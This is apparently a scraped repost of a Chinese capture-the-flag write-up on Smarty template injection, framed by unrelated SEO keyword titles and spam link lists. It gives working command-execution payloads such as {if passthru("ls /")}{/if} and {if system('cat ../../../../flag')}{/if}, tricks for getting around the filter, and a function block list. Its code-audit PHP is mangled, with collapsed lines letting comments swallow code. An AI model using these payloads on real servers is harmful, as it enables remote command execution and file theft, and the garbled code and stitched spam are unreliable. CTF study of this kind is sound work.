当前位置: 首页 > news >正文

建一个自己的网站需要多少钱html标签属性

建一个自己的网站需要多少钱,html标签属性,网站建设公司后端招聘要求,网站后台难做吗pass a parameter and maybe the flag files filename is random :> 传递一个参数,可能标记文件的文件名是随机的: 于是传一下参,在原网页后面加上/?a1,发现网页出现了变化 3.传入参数,一般情况下是文件包含,或者命令执行&…

pass a parameter and maybe the flag file's filename is random :>

传递一个参数,可能标记文件的文件名是随机的:

于是传一下参,在原网页后面加上/?a=1,发现网页出现了变化

3.传入参数,一般情况下是文件包含,或者命令执行,而这道题目比较新颖,使用的是php模板注入

4.根据测试2*4=8,确定是smarty模板注入

测试phpinfo()函数

http://114.67.246.176:18387/?a={if phpinfo()}{/if}

 

5.真的是百密一疏,过滤了好多的函数,好在没有把passthru()函数过滤

http://114.67.246.176:18387/?a={if passthru("ls /")}{/if}

 

6.没有发现flag,但是发现_12016文件,直接读一波,cat被过滤了,我是用的是more

http://114.67.246.176:18387/?a={if passthru("more /_12016 ")}{/if}

 

得到flag

二、知识点

1. 常用payload
smary中的{if}标签中可以执行的php语句

{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../../flag')}{/if}

 

2.passthru()函数
(PHP 4, PHP 5, PHP 7, PHP 8)
passthru — 执行外部程序并且显示原始输出

语法:

 passthru(string $command, int &$return_var = ?): void

同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

3.cat绕过
可以使用其他函数如:less、more、tac

4.system|readfile|gz|exec|eval|cat|assert|file|fgets

  1. system: PHP中的system函数用于执行命令行命令,并可返回命令的输出。如果允许用户输入传递给system,可能会允许攻击者执行任意命令。

  2. readfile: readfile函数用于输出一个文件的内容。如果用户可以控制该函数的参数,他们可能会读取服务器上的敏感文件。

  3. gz: 这可能指的是与gz相关的函数,如gzopengzread等,用于处理GZIP压缩文件。如果不当使用,可能会引发安全问题。

  4. exec: 类似于systemexec函数用于执行外部程序,并且可以提供更多的输出控制。这同样可以被用来执行恶意命令。

  5. eval: eval函数执行字符串作为PHP代码。这是极其危险的,因为它允许执行任意PHP代码。

  6. cat: 在Unix/Linux系统中,cat命令用于连接文件并打印到标准输出设备。在PHP中,没有内置的cat函数,但攻击者可能会尝试利用它来读取文件。

  7. assert: PHP中的assert函数用于评估一个表达式,并在表达式结果为FALSE时终止脚本执行。然而,如果assert被用来执行外部代码,它可能会成为一个安全漏洞。

  8. file: 可能指的是file_get_contents函数,它用于读取文件或URL内容。如果用户可以控制这个函数的参数,他们可能会读取服务器上的敏感文件。

  9. fgets: fgets函数用于从文件指针中读取一行。如果用户可以控制文件指针的来源,他们可能会读取未授权的内容。

代码审计:

pass a parameter and maybe the flag file's filename is random :> <?php
include('./libs/Smarty.class.php'); #文件包含
echo "pass a parameter and maybe the flag file's filename is random :>";   #无需审计
$smarty = new Smarty();   #smarty引入,实例化 Smarty 模板引擎的一个新对象
if($_GET){highlight_file('index.php'); #高亮文字foreach ($_GET AS $key => $value) #foreach方法,将get的值传给value
#foreach:PHP中的一个循环控制结构,用于遍历数组中的每个元素。
#$_GET:一个超全局数组,包含了所有通过GET请求方法(即在URL中附加的参数)传递给当前脚本的参数。
#AS:关键字,用于在foreach循环中指定数组元素的键($key)和值($value)。
#$key:循环中数组元素的键(参数名)。
#$value:循环中数组元素的值(参数值{print $key."\n";if(preg_match("/flag|\/flag/i", $value)){ #对value的值进行正则匹配$smarty->display('./template.html');#    $smarty:这是之前通过 new Smarty(); 创建的 Smarty 对象的实例。
#    ->:在 PHP 中,这个符号用来调用对象的方法或访问对象的属性。
#    display:这是 Smarty 对象的一个方法,用于将指定的模板文件呈现(渲染)为输出。
#    './template.html':这是传递给 display 方法的参数,指定了模板文件的路径。这里的 ./ 表示当前目录,template.html 是模板文件的名称。}elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){  #对value的值进行正则匹配$smarty->display('./template.html');            }else{$smarty->display("eval:".$value);}}
}
?> 

                       
原文链接:https://blog.csdn.net/m_de_g/article/details/120380488

https://baijiahao.baidu.com/s?id=1698341051395357077&wfr=spider&for=pc

http://www.yayakq.cn/news/876210/

相关文章:

  • 怎么做外贸个人网站邢台哪儿专业做网站
  • 岳阳网站建设一站式服务WordPress用rds云数据库
  • 怎么在搜狐快站上做网站个人网页免费域名注册入口
  • 连连建设跨境电商网站怎么更改wordpress文件上传大小
  • 水墨画风格网站设计师一般是什么学历
  • 镇江网站排名优化公司网站界面设计中的版式设计有哪些
  • 网站建设答辩ppt要点建设街小学网站
  • 辽宁网站制作设计模板图
  • 怎么做虚拟的网站佛山专业网站建设
  • 石家庄模板自助建站wordpress用什么linux
  • 徐州网站设计价位中国企业资讯网
  • dota2海涛做的网站建设网站应该加什么服务
  • 可以直接进入的舆情网站做网站能改吗
  • 标准网站建设公司wordpress 插件 语言包
  • 茶叶网站实际案例关键词优化的内容
  • 秦皇岛做网站的公司哪家好网站建设入门基础
  • 大网站制作公司哈尔滨网站建设公司哪家好
  • 网站速度查询建站技术入门
  • 加拿大28网站开发网页制作培训上海
  • 专门帮人做网站的公司如何做公司网站运营
  • 安康市城乡建设规划局网站php网站后台开发
  • 网上商城建站工作室网站服务器安全部署
  • 网站建设动态静态如何来做网站
  • 深圳宝安区住房和建设局网站静态网页设计教程
  • 有哪些做调查问卷赚钱的网站外贸如何网络推广
  • 预付网站制作费怎么做凭证长沙seo优化推广
  • paypal网站集成淘宝客怎么样做网站
  • 网站文章内链网站建设这门课
  • 做网站选云服务器内核品牌vi设计模板
  • 扶贫办网站建设网站建设精品课程